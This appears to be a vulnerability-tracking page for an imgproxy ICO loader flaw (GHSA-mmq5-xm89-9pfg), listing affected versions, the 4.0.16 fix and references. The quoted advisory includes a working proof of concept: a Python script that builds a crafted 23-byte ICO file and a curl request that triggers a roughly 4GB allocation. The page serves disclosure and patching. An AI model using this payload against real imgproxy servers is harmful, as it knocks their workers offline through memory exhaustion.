GHSA-mmq5-xm89-9pfg
imgproxy has unbounded memory allocation in ICO loader that allows unauthenticated memory-exhaustion DoS via crafted data_size field
- Risk score
- 55/100
- CVSS
- 7.5 v3.1
- Published
- 30 Oct 2026
Open in the live forecast Today's forecast
What to know
- What it is
- Unbounded and unvalidated memory allocation in imgproxy's ICO loader (vips/icoload.c). An attacker-controlled data_size field (u32) from the ICO directory entry is passed directly to VIPS_MALLOC without any bounds check, so a single crafted 23-byte ICO file makes an imgproxy worker attempt a ~4GB allocation. Present i…
- Affected
- github.com/imgproxy/imgproxy/v3 (go) >= 3.3.0, <= 4.0.15
- Fix
- Upgrade github.com/imgproxy/imgproxy/v3 to 4.0.16 or later.
- Exploitation
- No known exploitation
Story map
At a glance
github.com/imgproxy/imgproxy/v3: Amber, patch this week. The imgproxy ICO loader has an integer overflow vulnerability that can cause denial of service and may permit remote code execution.
The flaws
- GHSA-mmq5-xm89-9pfg: Imgproxy has unbounded memory allocation in ICO loader that allows unauthenticated memory-exhaustion DoS via crafted data_size field (CVSS 7.5)
- GHSA-hff9-5pqw-6w9f: Imgproxy has integer overflow in imgproxy ICO loader that causes denial of service and may permit remote code execution (CVSS 9.8)
- GHSA-494m-4556-wf5p: Imgproxy has out-of-bounds heap read/write in ICO loader BMP header reconstruction that allows unauthenticated remote worker crash (CVSS 7.5)
The fix
Fix: Upgrade to version 4.0.16 or later
Who is exposed: {'products': ['imgproxy'], 'packages': [{'ecosystem': 'go', 'name': 'github.com/imgproxy/imgproxy/v3', 'vulnerable': '>= 4.0.0, < 4.0.16'}, {'ecosystem': 'go', 'name': 'github.com/imgproxy/imgproxy/v2', 'vulnerable': '>= 4.0.0, < 4.0.16'}, {'ecosystem': 'go', 'name': 'github.com/imgproxy/imgproxy', 'vulnerable': '>= 4…
Where it stands
- No known exploitation
Connects to
- Same weakness: Denial of service (CWE-400). 309 other warnings in 30 days
Why it is Yellow
- CVSS 7.5 high
- Remotely exploitable without logging in
- On your watchlist: Go
Affected packages
| Package | Ecosystem | Vulnerable | Fixed in |
|---|---|---|---|
| github.com/imgproxy/imgproxy/v3 | go | >= 3.3.0, <= 4.0.15 | 4.0.16 |
References
- https://github.com/advisories/GHSA-mmq5-xm89-9pfg
- https://github.com/imgproxy/imgproxy/security/advisories/GHSA-mmq5-xm89-9pfg
- https://github.com/imgproxy/imgproxy/commit/a821b6a4cb07a1bf2bb9077431d1c1e734d79917
- https://github.com/imgproxy/imgproxy/releases/tag/v4.0.16
- https://github.com/advisories/GHSA-mmq5-xm89-9pfg
Original description
### Summary Unbounded and unvalidated memory allocation in imgproxy's ICO loader (`vips/icoload.c`). An attacker-controlled `data_size` field (u32) from the ICO directory entry is passed directly to `VIPS_MALLOC` without any bounds check, so a single crafted 23-byte ICO file makes an imgproxy worker attempt a ~4GB allocation. Present in the latest release (v4.0.15) and the 3.3.x series; confirmed on a live production deployment of imgproxy v4.0.15. ### Details In `vips_foreign_load_ico_header` in `vips/icoload.c`, the selected directory entry's `data_size` is read and used directly for the allocation: ``` uint32_t data_size = GUINT32_FROM_LE(largest_image_header.data_size); // BMP file explicitly excludes BITMAPFILEHEADER, so we need to add it manually. VipsPel *data = (VipsPel *) VIPS_MALLOC(NULL, data_size + BMP_FILE_HEADER_LEN); ``` There is no validation that `data_size` is sane nor any check that the file actually contains `data_size` bytes at the declared `data_offset`. A crafted 23-byte ICO whose directory entry declares `data_size = 0xfa000068` (~4GB) drives `VIPS_MALLOC(NULL, ~4GB + 14)`. ### PoC ```py # make_ico_4gb.py — generates the exact 23-byte unbounded-allocation trigger. # Byte-identical to the checksummed, production-verified file: # ico-4gb.ico sha256 6cee1fbfdc69fd4f507e86835ce2fa54519e55608f1dd69f42860f9961b1045b import struct, hashlib hdr = struct.pack('<HHH', 0, 1, 1) # reserved, type=ICO, count=1 entry = struct.pack('<BBBBHHII', 16, 16, 0, 0, 1, 32, 0xfa000068, 0x16) data = b'\x00' blob = hdr + entry + data assert hashlib.sha256(blob).hexdigest() == \ '6cee1fbfdc69fd4f507e86835ce2fa54519e55608f1dd69f42860f9961b1045b' open('ico-4gb.ico', 'wb').write(blob) print(f"ico-4gb.ico: {len(blob)} bytes [VERIFIED]") ``` ``` # imgproxy v4.0.15 with local file sources enabled: # IMGPROXY_ENABLE_LOCAL_FILES=true IMGPROXY_LOCAL_FILESYSTEM_ROOT=/ imgproxy curl "http://127.0.0.1:8080/insecure/plain/local:///path/to/ico-4gb.ico@png" # → outcome depends on host memory: on a memory-constrained pod the worker # OOM-dies; on a larger host the ~4GB allocation succeeds transiently and # decode fails -> HTTP 500 (worker survives, but each request burns ~4GB # transiently — repeatable memory exhaustion). ``` ### Impact Unauthenticated network DoS / memory-exhaustion: on memory-constrained workers, a crash per crafted request. On larger hosts, ~4GB transient allocation per request (sustained firing exhausts memory or the allocation budget). Any imgproxy deployment that processes attacker-supplied images.
Last activity 30 Oct 2026. Patch Forecast updates every hour.